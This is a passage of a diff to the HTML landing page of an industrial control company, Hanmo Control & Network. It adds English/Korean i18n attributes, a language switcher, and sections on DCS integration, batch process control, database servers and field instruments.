background: rgba(255, 255, 255, 0.9);
backdrop-filter: blur(16px);
border-bottom: 1px solid rgba(255, 255, 255, 0.1);
}
/* Premium Typography Styles */
.premium-kerning { letter-spacing: -0.04em; }
.industrial-tracking { letter-spacing: 0.15em; }
.hero-title {
line-height: 1.05;
}
/* Animations */
@keyframes fadeIn {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
.animate-fade-in { animation: fadeIn 0.8s ease-out forwards; }
/* Hide scrollbar but keep functionality */
.no-scrollbar::-webkit-scrollbar { display: none; }
.no-scrollbar { -ms-overflow-style: none; scrollbar-width: none; }
.service-card:hover .service-image {
transform: scale(1.1);
filter: grayscale(0);
}
</style>
<script type="importmap">
{
"imports": {
"react": "https://esm.sh/react@^19.2.4",
"react-dom/": "https://esm.sh/react-dom@^19.2.4/",
"react/": "https://esm.sh/react@^19.2.4/",
"@google/genai": "https://esm.sh/@google/genai@^1.41.0",
"react-router-dom": "https://esm.sh/react-router-dom@^7.13.0"
}
}
</script>
<link rel="stylesheet" href="/index.css">
</head> </head>
<body class="antialiased"> <body class="antialiased">
<!-- RIGHT-CLICK PROTECTION OVERLAY -->
<div id="no-rightclick-overlay" style="
position: fixed;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 9999;
background: transparent;
pointer-events: none;
"></div>
<!-- HEADER --> <!-- HEADER -->
<header id="main-header" class="fixed top-0 left-0 right-0 z-50 transition-all duration-500 py-6"> <header id="main-header" class="fixed top-0 left-0 right-0 z-50 transition-all duration-500 py-6">
<div class="container mx-auto px-6 flex justify-between items-center"> <div class="container mx-auto px-6 flex justify-between items-center">
@@ -71,26 +30,30 @@
<span class="text-white font-bold text-xl font-industrial">H</span> <span class="text-white font-bold text-xl font-industrial">H</span>
</div> </div>
<div class="flex flex-col leading-none"> <div class="flex flex-col leading-none">
<span id="brand-name" class="font-bold text-xl tracking-tight font-industrial text-white transition-colors duration-300"> <span id="brand-name" class="font-bold text-xl tracking-tight font-industrial text-white transition-colors duration-300">HANMO</span>
HANMO <span id="brand-sub" class="text-[9px] font-bold uppercase tracking-[0.2em] mt-1 text-blue-500">Control & Network</span>
</span>
<span id="brand-sub" class="text-[9px] font-bold uppercase tracking-[0.2em] mt-1 text-blue-500">
Control & Network
</span>
</div> </div>
</a> </a>
<nav class="hidden md:flex gap-10"> <nav class="hidden md:flex gap-10">
<a href="#home" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors">Home</a> <a href="#home" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.home">Home</a>
<a href="#services" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors">Services</a> <a href="#dcs" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.dcs">DCS</a>
<a href="#about" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors">About</a> <a href="#batch" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.batch">Batch Process</a>
<a href="#contact" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors">Contact</a> <a href="#dbsvr" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.dbsvr">Database Server</a>
<a href="#products" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.products">Instruments</a>
<a href="#services" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.services">Services</a>
<a href="#about" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.about">About</a>
<a href="#contact" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.contact">Contact</a>
</nav> </nav>
<div class="hidden md:block"> <div class="hidden md:flex items-center gap-3">
<button class="bg-blue-600 hover:bg-blue-700 text-white px-7 py-2.5 rounded-full text-xs font-bold shadow-xl transition-all active:scale-95 font-industrial tracking-widest uppercase"> <!-- 언어 전환 버튼 -->
Request Quote <div class="flex rounded-full overflow-hidden border border-black/40">
</button> <!--<button onclick="switchLang('en')" data-lang="en" class="lang-btn active-lang px-3 py-1.5 text-[10px] font-bold font-industrial text-white transition-all">EN</button>
<button onclick="switchLang('ko')" data-lang="ko" class="lang-btn px-3 py-1.5 text-[10px] font-bold font-industrial text-white transition-all">KO</button>-->
</div>
<button class="bg-blue-600 hover:bg-blue-700 text-white px-7 py-2.5 rounded-full text-xs font-bold shadow-xl transition-all active:scale-95 font-industrial tracking-widest uppercase" data-i18n="nav.quote">Request Quote</button>
</div> </div>
<button id="mobile-menu-btn" class="md:hidden text-white p-2"> <button id="mobile-menu-btn" class="md:hidden text-white p-2">
@@ -100,16 +63,25 @@
</header> </header>
<!-- MOBILE MENU --> <!-- MOBILE MENU -->
<div id="mobile-menu" class="fixed inset-0 z-[60] bg-slate-900 flex flex-col p-8 transition-transform translate-x-full duration-500"> <div id="mobile-menu" class="fixed inset-0 z-[60] bg-slate-900 flex flex-col p-8 transition-transform translate-x-full duration-500 overflow-y-auto">
<div class="flex justify-end mb-12"> <div class="flex justify-between items-center mb-12">
<!-- 모바일 언어 전환 -->
<div class="flex rounded-full overflow-hidden border border-white/20">
<button onclick="switchLang('en')" data-lang="en" class="lang-btn active-lang px-4 py-2 text-xs font-bold font-industrial text-white transition-all">EN</button>
<button onclick="switchLang('ko')" data-lang="ko" class="lang-btn px-4 py-2 text-xs font-bold font-industrial text-white transition-all">KO</button>
</div>
<button id="close-menu-btn" class="text-white text-3xl">&times;</button> <button id="close-menu-btn" class="text-white text-3xl">&times;</button>
</div> </div>
<nav class="flex flex-col gap-8 text-center"> <nav class="flex flex-col gap-8 text-center">
<a href="#home" class="text-2xl font-light text-white font-premium">Home</a> <a href="#home" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.home">Home</a>
<a href="#services" class="text-2xl font-light text-white font-premium">Services</a> <a href="#dcs" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.dcs">DCS</a>
<a href="#about" class="text-2xl font-light text-white font-premium">About</a> <a href="#batch" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.batch">Batch Process</a>
<a href="#contact" class="text-2xl font-light text-white font-premium">Contact</a> <a href="#dbsvr" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.dbsvr">Database Server</a>
<button class="mt-8 bg-blue-600 text-white py-5 rounded-2xl font-bold font-industrial tracking-widest uppercase">Request Quote</button> <a href="#products" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.products">Instruments</a>
<a href="#services" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.services">Services</a>
<a href="#about" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.about">About</a>
<a href="#contact" class="text-2xl font-light text-white font-premium hover:text-blue-400 transition-colors" data-i18n="nav.contact">Contact</a>
<button class="mt-8 bg-blue-600 hover:bg-blue-700 text-white py-5 rounded-2xl font-bold font-industrial tracking-widest uppercase transition-colors" data-i18n="nav.quote">Request Quote</button>
</nav> </nav>
</div> </div>
@@ -121,131 +93,390 @@
<img src="assets/images/ControlRoom3.png" alt="Industrial Facility" class="w-full h-full object-cover"> <img src="assets/images/ControlRoom3.png" alt="Industrial Facility" class="w-full h-full object-cover">
<div class="absolute inset-0 bg-gradient-to-r from-slate-950 via-slate-900/80 to-transparent"></div> <div class="absolute inset-0 bg-gradient-to-r from-slate-950 via-slate-900/80 to-transparent"></div>
</div> </div>
<div class="container mx-auto px-6 relative z-10"> <div class="container mx-auto px-6 relative z-10">
<div class="max-w-5xl animate-fade-in"> <div class="max-w-5xl animate-fade-in">
<div class="inline-block px-4 py-1.5 mb-8 rounded-full bg-blue-600/20 border border-blue-400/30 text-blue-400 text-[10px] font-bold uppercase industrial-tracking font-industrial"> <div class="inline-block px-4 py-1.5 mb-8 rounded-full bg-blue-600/20 border border-blue-400/30 text-blue-400 text-[10px] font-bold uppercase industrial-tracking font-industrial" data-i18n="hero.badge">Precision Industrial Control</div>
Precision Industrial Control <h1 class="text-5xl md:text-8xl font-extralight text-white mb-8 hero-title premium-kerning font-premium" data-i18n="hero.title" data-i18n-type="html">
</div>
<h1 class="text-5xl md:text-8xl font-extralight text-white mb-8 hero-title premium-kerning font-premium">
Engineering <span class="text-blue-500 font-normal">Precision</span> <br class="hidden md:block"/> Industrial Control Engineering <span class="text-blue-500 font-normal">Precision</span> <br class="hidden md:block"/> Industrial Control
</h1> </h1>
<p class="text-lg md:text-xl text-slate-300 mb-12 leading-relaxed max-w-2xl font-premium font-light opacity-80"> <p class="text-lg md:text-xl text-slate-300 mb-12 leading-relaxed max-w-2xl font-premium font-light opacity-80" data-i18n="hero.desc">
Hanmo Control & Network Co., Ltd. provides elite-tier DCS and SCADA architectures for critical infrastructure and modern digital transformation. Hanmo Control & Network Co., Ltd. provides elite-tier DCS and SCADA architectures for critical infrastructure and modern digital transformation.
</p> </p>
<div class="flex flex-col sm:flex-row gap-5"> <div class="flex flex-col sm:flex-row gap-5">
<a href="#services" class="bg-blue-600 hover:bg-blue-700 text-white px-10 py-5 rounded-2xl font-bold shadow-2xl transition-all hover:-translate-y-1 text-center font-industrial text-xs tracking-widest uppercase"> <a href="#services" class="bg-blue-600 hover:bg-blue-700 text-white px-10 py-5 rounded-2xl font-bold shadow-2xl transition-all hover:-translate-y-1 text-center font-industrial text-xs tracking-widest uppercase" data-i18n="hero.btn1">Explore Expertise</a>
Explore Expertise <a href="#contact" class="bg-white/10 hover:bg-white/20 text-white border border-white/20 backdrop-blur-md px-10 py-5 rounded-2xl font-bold transition-all text-center font-industrial text-xs tracking-widest uppercase" data-i18n="hero.btn2">Consultation</a>
</a>
<a href="#contact" class="bg-white/10 hover:bg-white/20 text-white border border-white/20 backdrop-blur-md px-10 py-5 rounded-2xl font-bold transition-all text-center font-industrial text-xs tracking-widest uppercase">
Consultation
</a>
</div> </div>
</div> </div>
<div class="mt-24 grid grid-cols-2 lg:grid-cols-4 gap-4 md:gap-10 max-w-5xl animate-fade-in" style="animation-delay: 0.3s"> <div class="mt-24 grid grid-cols-2 lg:grid-cols-4 gap-4 md:gap-10 max-w-5xl animate-fade-in" style="animation-delay: 0.3s">
<div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10"> <div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10">
<div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">1,500+</div> <div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">100+</div>
<div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold">Active Nodes</div> <div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold" data-i18n="stat.nodes">Reference Projects</div>
</div> </div>
<div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10"> <div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10">
<div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">99.99%</div> <div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">0.01%</div>
<div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold">System Uptime</div> <div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold" data-i18n="stat.uptime">downtime</div>
</div> </div>
<div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10"> <div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10">
<div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">60+</div> <div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">20+</div>
<div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold">Engineers</div> <div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold" data-i18n="stat.engineers">Partners</div>
</div> </div>
<div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10"> <div class="p-8 bg-white/5 backdrop-blur-xl rounded-3xl border border-white/10">
<div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">15</div> <div class="text-3xl md:text-5xl font-extralight text-white mb-2 font-premium premium-kerning">20+</div>
<div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold">Years Excellence</div> <div class="text-[10px] text-slate-400 uppercase industrial-tracking font-industrial font-semibold" data-i18n="stat.years">Years Excellence</div>
</div> </div>
</div> </div>
</div> </div>
</section> </section>
<!-- SERVICES SECTION --> <!-- DCS SECTION -->
<section id="dcs" class="py-32 bg-white">
<div class="container mx-auto px-6">
<div class="text-center max-w-3xl mx-auto mb-24">
<h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="dcs.badge">Advanced Control Systems</h2>
<h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="dcs.title">DCS Integration</h3>
<p class="text-slate-500 text-lg leading-relaxed font-light" data-i18n="dcs.desc">Enterprise-grade Distributed Control System architecture designed for the most critical industrial applications.</p>
</div>
<div class="grid lg:grid-cols-2 gap-16 items-center max-w-6xl mx-auto">
<div class="aspect-square rounded-[2.5rem] overflow-hidden shadow-2xl"><img src="assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000" alt="DCS Control Room" class="w-full h-full object-cover"></div>
<div>
<div class="space-y-18">
<!-- Honeywell 로고 이미지 추가 -->
<img src="assets/images/honeywell-logo.svg" alt="Honeywell Logo" class="h-8 w-auto mb-4 object-contain">
<div class="flex gap-6">
<p class="text-slate-500 leading-relaxed font-light" data-i18n="dcs.f0.desc">Reliable DCS solutions with Honeywell's Experion PKS, ensuring seamless integration and optimal performance</p></div>
</div>
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-shield-alt"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="dcs.f1.title">Redundant Architecture</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="dcs.f1.desc">Fault-tolerant systems with dual processing units ensuring 99.99% uptime</p></div>
</div>
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-network-wired"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="dcs.f2.title">Real-time Communication</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="dcs.f2.desc">Sub-millisecond response times with synchronized control across multiple nodes</p></div>
</div>
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-lock"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="dcs.f3.title">Security Certified</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="dcs.f3.desc">IEC 62443 compliance with military-grade encryption protocols</p></div>
</div>
</div>
<div class="mt-12"><a href="#contact" class="bg-blue-600 hover:bg-blue-700 text-white px-8 py-4 rounded-2xl font-bold shadow-lg transition-all inline-flex items-center gap-3 font-industrial text-xs tracking-widest uppercase" data-i18n="dcs.btn">Request Technical Specs</a></div>
</div>
</div>
</div>
</section>
<!-- BATCH PROCESS SECTION -->
<section id="batch" class="pt-24 pb-32 bg-slate-50">
<div class="container mx-auto px-6">
<div class="text-center max-w-3xl mx-auto mb-8"> <!--아래 내용과의 간겨 mb-16에서 줄임-->
<h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="batch.badge">Process Automation</h2>
<h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="batch.title">Batch Process Control</h3>
<p class="text-slate-500 text-lg leading-relaxed font-light" data-i18n="batch.desc">Not only precision control, but also production planning,process data & historical lot management, you can get it by our Batch Manager software.</p>
</div>
<div class="grid lg:grid-cols-2 gap-8 items-center max-w-6xl mx-auto">
<div>
<div class="space-y-8">
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-tasks"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="batch.f1.title">Batch Manager Software</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="batch.f1.desc">Dynamic recipe engine with version control and audit trail capabilities</p></div>
</div>
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-tasks"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="batch.f2.title">HC-900 Controller</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="batch.f2.desc">Advanced batch control with integrated HART communication and real-time monitoring</p></div>
</div>
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-tasks"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="batch.f3.title">Process Data Management</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="batch.f3.desc">Comprehensive process data collection, storage, and analysis for batch operations</p></div>
</div>
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-chart-bar"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="batch.f4.title">Quick Production Setup</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="batch.f4.desc">Real-time batch tracking with predictive quality monitoring</p></div>
</div>
<div class="flex gap-6">
<div class="flex-shrink-0"><div class="flex items-center justify-center h-12 w-12 rounded-xl bg-blue-600 text-white"><i class="fas fa-check-circle"></i></div></div>
<div><h4 class="text-xl font-semibold text-slate-900 mb-2 font-premium" data-i18n="batch.f5.title">Easy Historical Tracking</h4><p class="text-slate-500 leading-relaxed font-light" data-i18n="batch.f5.desc">FDA 21 CFR Part 11 compliance and complete data integrity</p></div>
</div>
</div>
<!--<div class="mt-12"><a href="#contact" class="bg-blue-600 hover:bg-blue-700 text-white px-8 py-4 rounded-2xl font-bold shadow-lg transition-all inline-flex items-center gap-3 font-industrial text-xs tracking-widest uppercase" data-i18n="batch.btn">Start Implementation</a></div>-->
</div>
<div class="aspect-square rounded-[2.5rem] overflow-hidden shadow-2xl"><img src="assets/images/BatchControl.png" alt="Batch Process" class="w-full h-full object-cover"></div>
</div>
</div>
</section>
<!-- DATABASE SERVER SECTION -->
<section id="dbsvr" class="py-32 bg-white">
<div class="container mx-auto px-6">
<div class="text-center max-w-3xl mx-auto mb-24">
<h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="db.badge">Data Infrastructure</h2>
<h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="db.title">Database Server Solutions</h3>
<p class="text-slate-500 text-lg leading-relaxed font-light" data-i18n="db.desc">Mission-critical historian and data management infrastructure for continuous industrial operations.</p>
</div>
<div class="grid md:grid-cols-3 gap-8 max-w-6xl mx-auto">
<div class="bg-slate-50 rounded-[2.5rem] p-10 border border-slate-100 hover:border-blue-200 transition-all hover:shadow-xl">
<div class="w-16 h-16 bg-blue-600 rounded-2xl flex items-center justify-center mb-8 text-white text-2xl"><i class="fas fa-database"></i></div>
<h4 class="text-2xl font-semibold text-slate-900 mb-4 font-premium" data-i18n="db.c1.title">High-Performance Historian</h4>
<p class="text-slate-500 leading-relaxed mb-6 font-light" data-i18n="db.c1.desc">SQL Server-based architecture optimized for 1M+ data points per second with sub-second query response</p>
<ul class="space-y-3 text-sm text-slate-600">
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> Time-series optimization</li>
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> Automatic compression</li>
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> Hot-cold storage</li>
</ul>
</div>
<div class="bg-slate-50 rounded-[2.5rem] p-10 border border-slate-100 hover:border-blue-200 transition-all hover:shadow-xl">
<div class="w-16 h-16 bg-blue-600 rounded-2xl flex items-center justify-center mb-8 text-white text-2xl"><i class="fas fa-shield-alt"></i></div>
<h4 class="text-2xl font-semibold text-slate-900 mb-4 font-premium" data-i18n="db.c2.title">Disaster Recovery</h4>
<p class="text-slate-500 leading-relaxed mb-6 font-light" data-i18n="db.c2.desc">Geo-redundant replication with RTO &lt; 15 minutes and RPO &lt; 5 minutes</p>
<ul class="space-y-3 text-sm text-slate-600">
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> Multi-site failover</li>
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> Continuous backup</li>
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> Zero data loss</li>
</ul>
</div>
<div class="bg-slate-50 rounded-[2.5rem] p-10 border border-slate-100 hover:border-blue-200 transition-all hover:shadow-xl">
<div class="w-16 h-16 bg-blue-600 rounded-2xl flex items-center justify-center mb-8 text-white text-2xl"><i class="fas fa-lock"></i></div>
<h4 class="text-2xl font-semibold text-slate-900 mb-4 font-premium" data-i18n="db.c3.title">Security & Compliance</h4>
<p class="text-slate-500 leading-relaxed mb-6 font-light" data-i18n="db.c3.desc">Role-based access control, encryption at rest/transit, and full audit logging</p>
<ul class="space-y-3 text-sm text-slate-600">
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> ISO 27001 certified</li>
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> CCPA/GDPR compliant</li>
<li class="flex gap-3"><i class="fas fa-check text-blue-600 mt-1"></i> Immutable logs</li>
</ul>
</div>
</div>
<div class="text-center mt-16"><a href="#contact" class="bg-blue-600 hover:bg-blue-700 text-white px-8 py-4 rounded-2xl font-bold shadow-lg transition-all inline-flex items-center gap-3 font-industrial text-xs tracking-widest uppercase" data-i18n="db.btn">Get Infrastructure Consultation</a></div>
</div>
</section>
<!-- INSTRUMENTS SECTION -->
<section id="products" class="py-32 bg-slate-50">
<div class="container mx-auto px-6">
<div class="text-center max-w-3xl mx-auto mb-24">
<h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="inst.badge">Precision Measurement</h2>
<h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="inst.title">Control Instruments</h3>
<p class="text-slate-500 text-lg leading-relaxed font-light" data-i18n="inst.desc">Smart field instruments engineered for accuracy and reliability in demanding industrial environments.</p>
</div>
<div class="grid md:grid-cols-2 lg:grid-cols-4 gap-8">
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-water text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i1.title">Flow Transmitters</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i1.desc">Magnetic, Coriolis, and vortex flow meters with ±0.5% accuracy</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Range: 0-1000 m³/h</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> 4-20mA / Pulse output</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> IP67 rated</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-gauge-high text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i2.title">Pressure Transmitters</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i2.desc">Differential and absolute pressure sensors for ultra-high sensitivity</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Range: -1 to 1000 bar</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> ±0.1% accuracy</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> ATEX certified</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-thermometer-half text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i3.title">Temperature Sensors</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i3.desc">RTD, thermocouple, and infrared temperature measurement</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Range: -50 to +300°C</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> ±0.3°C accuracy</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Fast response time</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-fill-drip text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i4.title">Level Transmitters</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i4.desc">Ultrasonic, radar, and capacitive level sensors</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Range: 0-30 meters</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> ±2mm repeatability</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Dust-proof design</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-flask text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i5.title">Analytical Sensors</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i5.desc">pH, conductivity, oxygen, and dissolved gas analyzers</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Multi-parameter capability</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Automatic calibration</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Real-time data logging</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-sliders-h text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
<div class="p-8"><h4 class="text-lg font-semibold text-slate-900 mb-3 font-premium" data-i18n="inst.i6.title">Control Valves</h4><p class="text-slate-500 text-sm leading-relaxed mb-6 font-light" data-i18n="inst.i6.desc">Smart positioners with HART communication</p>
<div class="space-y-2 text-xs text-slate-600 mb-6"><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> ±0.5% repeatability</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> HART protocol</div><div class="flex gap-2"><i class="fas fa-check text-blue-600"></i> Self-tuning algorithm</div></div>
<a href="#contact" class="text-blue-600 font-bold text-xs uppercase tracking-widest hover:text-blue-700" data-i18n="inst.quote">Get Quote →</a>
</div>
</div>
<div class="bg-white rounded-[2.5rem] overflow-hidden border border-slate-100 hover:border-blue-200 transition-all hover:shadow-2xl group">
<div class="h-48 bg-gradient-to-br from-blue-50 to-blue-100 flex items-center justify-center"><i class="fas fa-wave-square text-6xl text-blue-300 group-hover:text-blue-600 transition-colors"></i></div>
